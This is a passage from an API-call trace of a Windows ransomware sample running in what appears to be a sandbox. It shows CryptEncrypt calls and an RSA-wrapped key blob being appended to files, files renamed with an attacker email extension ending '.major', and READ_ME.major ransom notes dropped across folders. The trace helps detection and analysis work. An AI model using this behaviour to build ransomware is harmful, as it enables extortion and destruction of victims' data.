Size=0x40) returned 0x5c7258 [0107.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x5a10c8 [0107.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0107.061] CreateFileW (lpFileName="\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0107.061] GetFileSizeEx (in: hFile=0x448, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0107.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d2c0 [0107.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d380 [0107.061] ReadFile (in: hFile=0x448, lpBuffer=0x59d2c0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0107.061] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0107.061] WriteFile (in: hFile=0x448, lpBuffer=0x59d380*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d380*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0107.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0107.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0107.061] SetFilePointer (in: hFile=0x448, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0107.061] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0107.061] WriteFile (in: hFile=0x448, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0107.062] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0107.062] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0107.063] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0107.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5b83d0 [0107.063] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5b83d0, pcchString=0x2e3f9a8 | out: pszString="I27dqBni47ctOJQcMq5F0WygO4vvicbzXDt0rnvxdetlg52QEH5A5f9FmTCqNs4H\nkOkplCTwjM0IuXEtP4q/wEZAnF1+pEHygqDZeRa8rE7VEctgDQ7drF4w0U5B0rEM\n77hhyOrCLMngFGxvXsbLN+p9oBwq6yPgCBVbXxG0aHaOR68dCejHTxZgtLxw6IHj\no5NzxMbazbBeaU1E6+Yx4vRUtyw7jzsuvLtkoYc/pHBSpDj3uIuZpC7PoVcUkd+g\nWKFaY8q0gIZYsDaYHVsRWiNMhxCdnivp3CyFjN4bBEtd+Fa/NcM5WP8MrvsZ+RYT\nESVifu8agjM2hR4kShWJRg==\n", pcchString=0x2e3f9a8) returned 1 [0107.063] WriteFile (in: hFile=0x448, lpBuffer=0x5b83d0*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b83d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0107.063] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0107.063] WriteFile (in: hFile=0x448, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0107.063] CloseHandle (hObject=0x448) returned 1 [0107.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b83d0 | out: hHeap=0x570000) returned 1 [0107.064] MoveFileExW (lpExistingFileName="\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), lpNewFileName="\\$WINRE_BACKUP_PARTITION.MARKER.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\$winre_backup_partition.marker.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0107.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a10c8 | out: hHeap=0x570000) returned 1 [0107.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5898b0 | out: hHeap=0x570000) returned 1 [0107.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c6fd0 | out: hHeap=0x570000) returned 1 [0107.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x583b98 | out: hHeap=0x570000) returned 1 [0107.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5898b0 [0107.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589978 [0107.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0ca8 | out: hHeap=0x570000) returned 1 [0107.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0cf8 | out: hHeap=0x570000) returned 1 [0107.066] FindFirstFileW (in: lpFileName="\\$GetCurrent\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xfeb19423, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a3490 [0107.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0107.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0107.066] GetLastError () returned 0x0 [0107.066] SetLastError (dwErrCode=0x0) [0107.066] GetLastError () returned 0x0 [0107.066] SetLastError (dwErrCode=0x0) [0107.066] GetLastError () returned 0x0 [0107.066] SetLastError (dwErrCode=0x0) [0107.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4748 [0107.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0107.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0107.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0107.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a2e50 [0107.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2e50 | out: hHeap=0x570000) returned 1 [0107.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5969b8 [0107.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5969b8 | out: hHeap=0x570000) returned 1 [0107.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0107.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4748 | out: hHeap=0x570000) returned 1 [0107.066] FindNextFileW (in: hFindFile=0x5a3490, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0xf0b4f277, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0x9b28dcfd, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xfeb19423, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0107.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0107.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c72e8 [0107.066] GetLastError () returned 0x0 [0107.066] SetLastError (dwErrCode=0x0) [0107.066] GetLastError () returned 0x0 [0107.066] SetLastError (dwErrCode=0x0) [0107.067] GetLastError () returned 0x0 [0107.067] SetLastError (dwErrCode=0x0) [0107.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4748 [0107.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0107.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0107.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0107.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a2e50 [0107.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a2e50 | out: hHeap=0x570000) returned 1 [0107.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x596a90 [0107.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x596a90 | out: hHeap=0x570000) returned 1 [0107.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589478 | out: hHeap=0x570000) returned 1 [0107.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4748 | out: hHeap=0x570000) returned 1 [0107.067] FindNextFileW (in: hFindFile=0x5a3490, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x542c8aac, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x9c5a0a89, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Logs", cAlternateFileName="")) returned 1 [0107.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c72e8 | out: hHeap=0x570000) returned 1 [0107.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c77b0 [0107.067] GetLastError () returned 0x0 [0107.067] SetLastError (dwErrCode=0x0) [0107.067] GetLastError () returned 0x0 [0107.067] SetLastError (dwErrCode=0x0) [0107.067] GetLastError () returned 0x0 [0107.067] SetLastError (dwErrCode=0x0) [0107.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4748 [0107.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589478 [0107.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0107.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0107.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0107.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0107.067] GetLastError () returned 0x0 [0107.068] SetLastError (dwErrCode=0x0) [0107.068] GetLastError () returned 0x0 [0107.068] SetLastError (dwErrCode=0x0) [0107.068] GetLastError () returned 0x0 [0107.068] SetLastError (dwErrCode=0x0) [0107.068] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7180 [0107.068] CreateFileW (lpFileName="\\$GetCurrent\\Logs\\READ_ME.major" (normalized: "c:\\$getcurrent\\logs\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x44c [0107.070] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7180 | out: hHeap=0x570000) returned 1 [0107.070] WriteFile (in: hFile=0x44c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0107.071] CloseHandle (hObject=0x44c) returned 1 [0107.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0107.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0107.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0107.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0107.071] FindNextFileW (in: hFindFile=0x5a3490, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfeb19423, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfeb19423, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfeb19423, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0107.071] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c77b0 | out: hHeap=0x570000) returned 1 [0107.071] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7690 [0107.071] GetLastError () returned 0x0 [0107.071] SetLastError (dwErrCode=0x0) [0107.072] GetLastError () returned 0x0 [0107.072] SetLastError (dwErrCode=0x0) [0107.072] GetLastError () returned 0x0 [0107.072] SetLastError (dwErrCode=0x0) [0107.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589680 [0107.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589680 | out: hHeap=0x570000) returned 1 [0107.072] FindNextFileW (in: hFindFile=0x5a3490, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0107.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7690 | out: hHeap=0x570000) returned 1 [0107.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0107.072] GetLastError () returned 0x0 [0107.072] SetLastError (dwErrCode=0x0) [0107.072] GetLastError () returned 0x0 [0107.072] SetLastError (dwErrCode=0x0) [0107.072] GetLastError () returned 0x0 [0107.072] SetLastError (dwErrCode=0x0) [0107.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0107.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589680 [0107.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab108 [0107.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d390 [0107.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0107.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7600 [0107.072] GetLastError () returned 0x0 [0107.072] SetLastError (dwErrCode=0x0) [0107.072] GetLastError () returned 0x0 [0107.072] SetLastError (dwErrCode=0x0) [0107.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0107.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7600 | out: hHeap=0x570000) returned 1 [0107.073] GetLastError () returned 0x0 [0107.073] SetLastError (dwErrCode=0x0) [0107.073] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5befd0 [0107.073] CreateFileW (lpFileName="\\$GetCurrent\\SafeOS\\READ_ME.major" (normalized: "c:\\$getcurrent\\safeos\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x44c [0107.453] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0107.453] WriteFile (in: hFile=0x44c, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0107.454] CloseHandle (hObject=0x44c) returned 1 [0107.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0107.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0107.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d390 | out: hHeap=0x570000) returned 1 [0107.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab108 | out: hHeap=0x570000) returned 1 [0107.454] FindNextFileW (in: hFindFile=0x5a3490, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0107.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0ca8 [0107.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0107.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1108 | out: hHeap=0x570000) returned 1 [0107.454] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1040 | out: hHeap=0x570000) returned 1 [0107.454] FindFirstFileW (in: lpFileName="\\$Recycle.Bin\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xfec244ae, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a2fd0 [0107.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0107.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0107.455] GetLastError () returned 0x12 [0107.455] SetLastError (dwErrCode=0x12) [0107.455] GetLastError () returned 0x12 [0107.455] SetLastError (dwErrCode=0x12) [0107.455] GetLastError () returned 0x12 [0107.455] SetLastError (dwErrCode=0x12) [0107.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab108 [0107.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed10 [0107.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed10 | out: hHeap=0x570000) returned 1 [0107.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1108 [0107.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3150 [0107.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3150 | out: hHeap=0x570000) returned 1 [0107.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5969b8 [0107.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5969b8 | out: hHeap=0x570000) returned 1 [0107.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1108 | out: hHeap=0x570000) returned 1 [0107.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab108 | out: hHeap=0x570000) returned 1 [0107.455] FindNextFileW (in: hFindFile=0x5a2fd0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xfec244ae, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0107.455] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0107.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0107.456] GetLastError () returned 0x12 [0107.456] SetLastError (dwErrCode=0x12) [0107.456] GetLastError () returned 0x12 [0107.456] SetLastError (dwErrCode=0x12) [0107.456] GetLastError () returned 0x12 [0107.456] SetLastError (dwErrCode=0x12) [0107.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab108 [0107.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0107.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0107.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1068 [0107.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3250 [0107.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3250 | out: hHeap=0x570000) returned 1 [0107.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x5969b8 [0107.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5969b8 | out: hHeap=0x570000) returned 1 [0107.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1068 | out: hHeap=0x570000) returned 1 [0107.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ab108 | out: hHeap=0x570000) returned 1 [0107.456] FindNextFileW (in: hFindFile=0x5a2fd0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfec244ae, ftCreationTime.dwHighDateTime=0x1d50248, ftLastAccessTime.dwLowDateTime=0xfec244ae, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xfec244ae, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0107.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0107.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0107.456] GetLastError () returned 0x12 [0107.456] SetLastError (dwErrCode=0x12) [0107.456] GetLastError () returned 0x12 [0107.456] SetLastError (dwErrCode=0x12) [0107.456] GetLastError () returned 0x12 [0107.456] SetLastError (dwErrCode=0x12) [0107.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1040 [0107.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1040 | out: hHeap=0x570000) returned 1 [0107.456] FindNextFileW (in: hFindFile=0x5a2fd0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0107.456] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0107.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0107.456] GetLastError () returned 0x12 [0107.456] SetLastError (dwErrCode=0x12) [0107.456] GetLastError () returned 0x12 [0107.456] SetLastError (dwErrCode=0x12) [0107.456] GetLastError () returned 0x12 [0107.456] SetLastError (dwErrCode=0x12) [0107.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1108 [0107.456] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1270 [0107.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1108 | out: hHeap=0x570000) returned 1 [0107.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1270 | out: hHeap=0x570000) returned 1 [0107.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab108 [0107.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0107.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5ab220 [0107.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0107.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d380 [0107.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0107.457] GetLastError () returned 0x12 [0107.457] SetLastError (dwErrCode=0x12) [0107.457] GetLastError () returned 0x12 [0107.457] SetLastError (dwErrCode=0x12) [0107.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6f48 [0107.457] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0107.457] GetLastError () returned 0x12 [0107.457] SetLastError (dwErrCode=0x12) [0107.457] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5bedc0 [0107.457] CreateFileW (lpFileName="\\$Recycle.Bin\\S-1-5-18\\READ_ME.major" (normalized: "c:\\$recycle.bin\\s-1-5-18\\read_me.major"), 